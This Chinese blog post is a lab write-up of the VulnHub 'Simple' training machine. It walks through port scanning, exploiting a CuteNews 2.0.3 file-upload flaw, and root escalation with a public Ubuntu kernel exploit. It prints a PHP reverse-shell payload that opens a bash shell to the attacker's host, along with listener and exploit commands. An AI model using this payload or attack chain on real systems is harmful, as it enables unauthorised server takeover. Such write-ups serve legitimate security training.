目录
写在开头
本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机的非常简单,但却是一个标准攻击链的靶机。本文的打靶过程涉及到关于cms漏洞利用、文件上传漏洞、内核提权等。完整打靶思路详见:
「红队笔记」靶机精讲:BNE0x03Simple - 内核提权需要考虑哪些?这些窘境你遇到过吗?怎么处理的?_哔哩哔哩_bilibili 本文针对的靶机源于vulnhub,详情见:
SecTalks: BNE0x03 - Simple ~ VulnHub
靶机下载链接见:
https://download.vulnhub.com/sectalks/Simple.ova
本靶机的目标是拿到root权限并读取/root/flag.txt。下载成功后用vmware打开,网络适配器设置为NAT模式。靶机打开之后如图:
第一步:主机发现与端口扫描
常规思路,发现仅仅开放了80端口。懒得具体讲了。
nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.138
nmap -sT -sV -O -sC -p80 10.10.10.138
nmap -sU --min-rate 10000 -p- 10.10.10.138
nmap --script=vuln -p80 10.10.10.138
第二步:Web渗透
浏览器访问靶机ip,发现是一个登录界面:
如果能够登录,应该能获得更多有利信息。发现登录框的常见思路:弱口令/默认口令/注入/搜索相关漏洞或寻找其他信息/爆破。 由于此处显示了cms及其版本是CuteNews2.0.3,我们不妨先searchspoit搜索一番:
searchsploit CuteNews 2.0.3
成功搜到了一个任意文件上传的漏洞利用文件。如果能够任意文件上传,那么我们可以上传一个反弹shell的payload然后触发执行获取shell。先把这个37474.txt下载下来:
searchsploit -m 37474
查看这个37474.txt:
大概讲述了漏洞利用的全过程,即注册一个账号,登录后访问Personal options并上传shell.php,即可在路径/cutenews/uploads/目录找到我们上传的shell,并触发执行。
第三步:文件上传获取shell
那就按照漏洞利用文件的提示,一步一步做吧。首先回到web界面注册账号(点击register),跳转到下面的页面:
随便注册一个账号,点击Register,直接登录进入了界面:
点击Personal option即可:
可以看到这个界面有文件上传的位置,我们直接再次上传shell,内容是php的反弹shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>
在uploads/目录下确实可以看到我们上传的shell
开启nc监听1234端口:
nc -lvnp 1234
点击avater_a_shell.php的路径直接成功触发反弹shell了:
第四步:内核提权
首先sudo -l 查看权限,发现提示没有tty,然后再用python建立交互性更好的shell,结果发现sudo -l要输入密码,此路不通了。
由于仅仅开放了80端口,搜索敏感信息的意义也就很小了(无法ssh)。应该是必须使用这个shell进行提取,再查看定时任务,也没啥收获
看了只能试试内核提取了,先查看内核版本:
uname -a
Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu
我们再次searchspoit搜索对应版本的提取漏洞:
searchsploit kernel 3.16.0-generic |grep "Privilege Escalation"
这里没有太多技巧,只能尽可能选择版本最为匹配的漏洞利用文件。最好是选择ubuntu 14.04系统的提权漏洞。几次尝试都没找见合适的,于是我重新用Ubuntu 14.04进行搜索:
searchsploit Ubuntu 14.04 |grep "Privilege Escalation"
从第一个开始尝试,恰巧第一个就是可以提权的脚本。下载下来37088.c后查看这个文件:
没有什么特殊的编译方式,直接gcc即可,我这里还改了个名,把37088.c重命名为了apport-race.c:
mv 37088.c apport-race.c
然后启动一个端口开启http服务,这里就用php了:
然后在靶机中进入/tmp目录,把提权文件apport-race.c从kali中下载下来:
下载成功:
然后编译并允许即可提权:
gcc apport-race.c -o apport-race
./apport-race
红队笔记大佬这里用的是36746。应该有多个内核提权的漏洞利用脚本可以使用。不过他searchspoit搜索的关键词是apport,我感觉有点费解。
最后进入/root目录下找到flag:
至此打靶完成。
总结与思考
这个靶机比较简单,就是cms漏洞利用,上传shell并触发反弹shell再内核提权。但这却是经典的攻击链之一。由于cms漏洞利用的文件37474给了我们非常完善的提示,使得靶机的难度进一步下降。哪怕没有这个文件,我们也应该找到登录cms的方式并寻找文件上传的位置。关于上传文件的存储位置,也可以通过目录爆破进行寻找。最后总结一下打靶思路:
1.主机发现与端口扫描:仅仅开放了80端口。
2.Web渗透:发现靶机ip是一个登录界面,cms为CuteCMS 2.0.3,搜索这个cms可找到利用文件。
3.文件上传获取shell:按照cms的漏洞利用文件一步一步操作,最终成功上传shell并触发代码执行,获得反弹shell。
4.内核提权:由于仅仅开放了80端口,因此我们只能通过当前的shell提权。查看当前用户的权限和定时任务无果后,采用了内核提权。尝试了多个脚本最终发现37088可以成功提权。
到此这个靶机就讲解完毕了。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!